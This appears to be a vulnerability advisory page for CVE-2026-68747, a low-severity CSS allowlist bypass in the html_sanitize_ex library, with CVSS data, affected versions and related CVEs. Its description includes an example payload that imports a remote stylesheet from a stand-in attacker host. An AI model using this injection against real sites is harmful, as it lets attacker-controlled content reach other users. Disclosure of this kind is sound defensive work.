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CVE-2026-68747— CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

CVSS 2.3 · Low
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I. Basic Information for CVE-2026-68747

Vulnerability Information
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Vulnerability Title
CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
Source: CVE Program / CVE List V5
Vulnerability Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Source: CVE Program / CVE List V5
Vulnerability Type
输出中的特殊元素转义处理不恰当(注入)
Source: CVE Program / CVE List V5

Affected Products

VendorProductAffected VersionsCPESubscribe
rrrenehtml_sanitize_ex 0.3.1 ~ 1.5.4 cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*
rrrenehtml_sanitize_ex 21f90012eb21aa36f4e3701b7547e12faf0f3c8b ~ 0b9f9ad63a7529d4f2c3c1134c371adc3e654308 cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*

II. Public POCs for CVE-2026-68747

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III. Intelligence Information for CVE-2026-68747

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Patches & Fixes for CVE-2026-68747 (1)

Vendor Advisories for CVE-2026-68747 (2)

Other References for CVE-2026-68747 (1)

Same Patch Batch · rrrene · 2026-08-06 · 6 CVEs total

CVE-2026-687498.2 HIGHQuadratic regex backtracking in the html_sanitize_ex CSS scrubber allows CPU-exhaustion de
CVE-2026-687508.2 HIGHQuadratic sibling re-flattening in the html_sanitize_ex traversal engine allows CPU-exhaus
CVE-2026-663704.8 MEDIUMhtml_sanitize_ex HTML5 scrubber keeps attacker-supplied form-association attributes, allow
CVE-2026-668292.3 LOWhtml_sanitize_ex HTML5 scrubber keeps attacker-supplied meta refresh, allowing forced cros
CVE-2026-668432.3 LOWhtml_sanitize_ex HTML5 scrubber keeps attacker-supplied `<object>` elements, allowing untr

IV. Related Vulnerabilities

Same product: html_sanitize_ex
Same vendor: rrrene
Same weakness: CWE-74

V. Comments for CVE-2026-68747

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